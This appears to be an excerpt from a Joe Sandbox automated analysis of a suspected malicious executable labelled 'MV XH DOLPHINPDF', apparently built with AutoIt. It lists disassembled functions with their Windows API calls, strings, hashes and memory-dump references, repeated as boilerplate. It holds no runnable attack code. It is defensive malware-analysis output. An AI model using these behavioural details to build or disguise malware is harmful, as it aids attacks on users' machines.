Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: ceadc030c488f0a691489ec3f9ade4ed0ba224dbd13c072f77cbe14c0a60eabf
Instruction ID: afe5fccfb41506007828a0970aea42536e4e08287b928b72a59aae26d6cd4637
Opcode Fuzzy Hash: ceadc030c488f0a691489ec3f9ade4ed0ba224dbd13c072f77cbe14c0a60eabf
Instruction Fuzzy Hash: 2C510F3550434A9FCF259F68C8886FE7BA6EF1A311F184056EC919B2A1D7309D42CB71

Function 00093297 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000933D7
_memmove.LIBCMT ref: 00093470
_free.LIBCMT ref: 00093496
_memmove.LIBCMT ref: 00093549

Strings

Oa, xrefs: 00093482

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove$_free
String ID: Oa
API String ID: 2620147621-2176709037
Opcode ID: 2e90f1f4128ee5338b09e4ff0a57f64d0b317e06d2255f887fd9b4bdb6c72f93
Instruction ID: 8be09f152d0684417b7baba546113874cf0b457e03bbad5c71a43df79efbdac5
Opcode Fuzzy Hash: 2e90f1f4128ee5338b09e4ff0a57f64d0b317e06d2255f887fd9b4bdb6c72f93
Instruction Fuzzy Hash: 515169716087419FDB64CF68C881B6FBBE1AF89314F05892DE88987361DB31D901DF92

Function 000962F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000963A8
_memmove.LIBCMT ref: 00096446
_memset.LIBCMT ref: 0009646A

Strings

ERCP, xrefs: 00096313

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 7f1956092c8e398b0b5a7e4f5e5d671da956f330dbf0be6139ff3e81d85858f0
Instruction ID: 12963cc0c2845866bf2123e523e2549d131ee7746d1326e47c42c0c80389abdc
Opcode Fuzzy Hash: 7f1956092c8e398b0b5a7e4f5e5d671da956f330dbf0be6139ff3e81d85858f0
Instruction Fuzzy Hash: 2551B171900709DFDB24CFA5C885BEABBF4EF04714F20856EEA4ADB241E7729684CB50

Function 00107BB5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0010F910,00000000,?,?,?,?), ref: 00107C4E
GetWindowLongW.USER32 ref: 00107C6B
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00107C7B

Strings

SysTreeView32, xrefs: 00107C20

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: dbe764238eb6b81c5660d4849d7c701e6c5ee509f43ab3ecae2fd9539b33c495
Instruction ID: dc9bdd2df23173e6a4181ebe48fe1d6c674bdb33ea2240dc2370debcfd148dde
Opcode Fuzzy Hash: dbe764238eb6b81c5660d4849d7c701e6c5ee509f43ab3ecae2fd9539b33c495
Instruction Fuzzy Hash: 6931C131604206ABEB219F34CC41BEA77A9FF05328F244729F9B5A32E0D771EC919B50

Function 00107648 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 001076D0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 001076E4
SendMessageW.USER32(?,00001002,00000000,?), ref: 00107708

Strings

SysMonthCal32, xrefs: 0010769B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 666f24244f94f44374d474df4a9a72fb618abaa473b02b7f2903aae02825b456
Instruction ID: 5c2902c62b13cb4e3b8f297afcd927a9c16015a7c6117b37661dff1bc261af56
Opcode Fuzzy Hash: 666f24244f94f44374d474df4a9a72fb618abaa473b02b7f2903aae02825b456
Instruction Fuzzy Hash: 3C21A332504219BBDF15DF54CC46FEA3B69EF48754F110214FE556B1D0DBB1B8918BA0

Function 00106F1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00106FAA
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00106FBA
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00106FDF

Strings

Listbox, xrefs: 00106F77

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 94236c3ecdf88ab6061f6aa19606cdf6e3a135c16883afc40fc43e0552fb1eec
Instruction ID: 7a4e155d66afdfd50792a849f34c0e194acacd1235db2f56df478f8d7a5b0cd3
Opcode Fuzzy Hash: 94236c3ecdf88ab6061f6aa19606cdf6e3a135c16883afc40fc43e0552fb1eec
Instruction Fuzzy Hash: 8B219532610119BFDF119F54DC85FAB37AAEF89754F018124FA54971D0C7B19C6287A0

Function 0010797D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 001079E1
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 001079F6
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00107A03

Strings

msctls_trackbar32, xrefs: 001079B8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 7288d90b88c3b1b401cb88e2441a74a1e5b22d8944f401068d82f5cf2ab38dda
Instruction ID: 469fa10258b9d0e06a0dcc6363d2a3c7b681843ffd2924249b3c0d838797de8c
Opcode Fuzzy Hash: 7288d90b88c3b1b401cb88e2441a74a1e5b22d8944f401068d82f5cf2ab38dda
Instruction Fuzzy Hash: AD11E772644208BAEF149F60CC45FDB37A9EF89768F014519F681A70D0D3B1A851CB60

Function 00084C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00084C2E), ref: 00084CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00084CB5

Strings

GetNativeSystemInfo, xrefs: 00084CAF
kernel32.dll, xrefs: 00084C9E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 886d3b20987b600e1a3294197ea0fa132ba91807cb7be665d6e875860bafa6e5
Instruction ID: e6bf0d36943d67ff0b596d2beb1609c56df42f76562cdc5f6a8f9aa8a7bd7667
Opcode Fuzzy Hash: 886d3b20987b600e1a3294197ea0fa132ba91807cb7be665d6e875860bafa6e5
Instruction Fuzzy Hash: 41D01730510723CFD770AF31DA1A60676E9BF057A1B11883EA8C6D6990E7B4D8C1CB50

Function 00084D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00084D2E,?,00084F4F,?,001462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00084D6F
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00084D81

Strings

Wow64DisableWow64FsRedirection, xrefs: 00084D7B
kernel32.dll, xrefs: 00084D6A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 31e24d4efdcb201172288a6452db834e6a403af627a25f45709399d75ab1ce75
Instruction ID: a5bfe54fa111551faf395994a56a8427c17ff8c11993a0a17fdf60b50e6be65b
Opcode Fuzzy Hash: 31e24d4efdcb201172288a6452db834e6a403af627a25f45709399d75ab1ce75
Instruction Fuzzy Hash: 0DD01770510713CFD730AF31D80A61676E8BF15352B118C3EA8C6D6A90E7B0D8C0CB50

Function 00084D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00084CE1,?), ref: 00084DA2
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00084DB4

Strings

Wow64RevertWow64FsRedirection, xrefs: 00084DAE
kernel32.dll, xrefs: 00084D9D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 9244904e754dfa4cb1c20766148531ef878263b0657602accd45c40c1c0e61d6
Instruction ID: 981f18a1068d4f1db8423abcbbf5034c0f9684adfb4dd8977e73409e4ac5ec96
Opcode Fuzzy Hash: 9244904e754dfa4cb1c20766148531ef878263b0657602accd45c40c1c0e61d6
Instruction Fuzzy Hash: EED0E271550713CFD730AB31D80AA4676E4AF09365B12883EE8C6D6990E7B0D8808A50

Function 00101072 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,001012C1), ref: 00101080
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00101092

Strings

RegDeleteKeyExW, xrefs: 0010108C
advapi32.dll, xrefs: 0010107B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 86bd74df61470a75bda8a87c100fdcfbce5ce7558957b3504f51f7ea27a5c85a
Instruction ID: c04f30fbc499df8000d802df41e76c2fb60ce9bfe6a384d02c878afa03ca4886
Opcode Fuzzy Hash: 86bd74df61470a75bda8a87c100fdcfbce5ce7558957b3504f51f7ea27a5c85a
Instruction Fuzzy Hash: 73D01730514712DFD7309F35E859A1B76E5AF09361F118D3EA8CADA990E7B4D8C0CA50

Function 000F93F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,000F9009,?,0010F910), ref: 000F9403
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 000F9415

Strings

kernel32.dll, xrefs: 000F93FE
GetModuleHandleExW, xrefs: 000F940F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: ebd68341e1f298238723eb02f9403b68652530f0c74b472241d4aa6196f0f7f9
Instruction ID: db925a502a51e94f071a0abc6278330d4ca0e84d4730e9ea8467e4c346450476
Opcode Fuzzy Hash: ebd68341e1f298238723eb02f9403b68652530f0c74b472241d4aa6196f0f7f9
Instruction Fuzzy Hash: 28D0C73050031BCFC7318F31C90AA0272E4BF14341B00C83EA4C2C2D90E7B0D8C1CA50

Function 000C1B3E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 000C1B42
__swprintf.LIBCMT ref: 000C1B73

Strings

%.3d, xrefs: 000C1B4D
WIN_XPe, xrefs: 000C1BB2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 074f43ebce36f042e9eb51ddd953dc068fdbe58033f03a646ec5bce900786ce5
Instruction ID: 6e3b63642015ac1ec97f3e3653af7058d4a91d2e46809efa225dca3d7324123a
Opcode Fuzzy Hash: 074f43ebce36f042e9eb51ddd953dc068fdbe58033f03a646ec5bce900786ce5
Instruction Fuzzy Hash: 27D01271808118EACB24AB908C45EFD777CAB05301F500596B54691441F3749F85AF21

Function 000D76C5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c9cab72e8b5a72c4652ef0830b825e1809ff0e19a2c61f5117142f6adb8d5d
Instruction ID: 5902d086327b3f924d1d170318483a5a68a8dbd8683ce590d6bd43f16642dcf3
Opcode Fuzzy Hash: a9c9cab72e8b5a72c4652ef0830b825e1809ff0e19a2c61f5117142f6adb8d5d
Instruction Fuzzy Hash: 3BC15C75A04216EFCB14CF98C894AAEB7F5FF48714B11859AE809EB351E730DD81DBA0

Function 000FE33E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 000FE3D2
CharLowerBuffW.USER32(?,?), ref: 000FE415

Part of subcall function 000FDAB9: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 000FDAD9

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 000FE615
_memmove.LIBCMT ref: 000FE628

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 612f9de0891c55eb2ab8293425d7d769a7d300f96bb04b4a4da9a535148d565c
Instruction ID: 3a11fd8e406344399bdc1209bc105b6684e6537e1919caefb5ba79afb57bbf92
Opcode Fuzzy Hash: 612f9de0891c55eb2ab8293425d7d769a7d300f96bb04b4a4da9a535148d565c
Instruction Fuzzy Hash: 08C18A716083458FC714DF28C48096ABBE4FF89718F14896EF999DB762D730E946CB82

Function 000F83A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 000F83D8
CoUninitialize.OLE32 ref: 000F83E3

Part of subcall function 000DDA5D: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 000DDAC5

VariantInit.OLEAUT32(?), ref: 000F83EE
VariantClear.OLEAUT32(?), ref: 000F86BF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: f06d0058d018134bbb4eb6ed8c5f25d4017b37101cbbd3bd880f98debec8691f
Instruction ID: e97d27492740cf7520a4e6f03a1b56e0f121dbaa63cb216627e920feb0d5e488
Opcode Fuzzy Hash: f06d0058d018134bbb4eb6ed8c5f25d4017b37101cbbd3bd880f98debec8691f
Instruction Fuzzy Hash: CEA14E752047059FCB10EF14C485BAABBE4BF88714F08845DFA9A9B7A2CB30ED45DB42

Function 000D7A78 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00112C7C,?), ref: 000D7C32
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00112C7C,?), ref: 000D7C4A
CLSIDFromProgID.OLE32(?,?,00000000,0010FB80,000000FF,?,00000000,00000800,00000000,?,00112C7C,?), ref: 000D7C6F
_memcmp.LIBCMT ref: 000D7C90

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 82e19e5cc11ddb72d16ffcedc41078f7cb65e70de6badc075b1cceed2d1e174d
Instruction ID: cef05dcea4b892807ebb0ffdd7abe9624cc786874a741fd33fca8031d0cf3c42
Opcode Fuzzy Hash: 82e19e5cc11ddb72d16ffcedc41078f7cb65e70de6badc075b1cceed2d1e174d
Instruction Fuzzy Hash: 50811D75A00209EFCB04DF94C984EEEB7B9FF89315F204199F506AB250DB71AE46CB61

Function 000D6DF3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 000D6E04
SysAllocString.OLEAUT32(00000000), ref: 000D6EAD
VariantCopy.OLEAUT32 ref: 000D6EDC
VariantClear.OLEAUT32(?), ref: 000D6F03

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: c8f34027ca21bde55d16d30fae4cbd363a85f3702267f538ddc55d3de70ceea5
Instruction ID: 6f26aa6af2a1b2825b841da9eefd90c6905abc883f948c47033d426f089a7404
Opcode Fuzzy Hash: c8f34027ca21bde55d16d30fae4cbd363a85f3702267f538ddc55d3de70ceea5
Instruction Fuzzy Hash: 8751FC30604701DEDB30AF65D891A7DB7E5AF04310F64882FE98ACB7D2EB7198409B65

Function 000E97E5 Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00085045: _fseek.LIBCMT ref: 0008505D

Part of subcall function 000E99BE: _wcscmp.LIBCMT ref: 000E9AAE
Part of subcall function 000E99BE: _wcscmp.LIBCMT ref: 000E9AC1

_free.LIBCMT ref: 000E992C
_free.LIBCMT ref: 000E9933
_free.LIBCMT ref: 000E999E

Part of subcall function 000A2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,000A9C64), ref: 000A2FA9
Part of subcall function 000A2F95: GetLastError.KERNEL32(00000000,?,000A9C64), ref: 000A2FBB

_free.LIBCMT ref: 000E99A6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
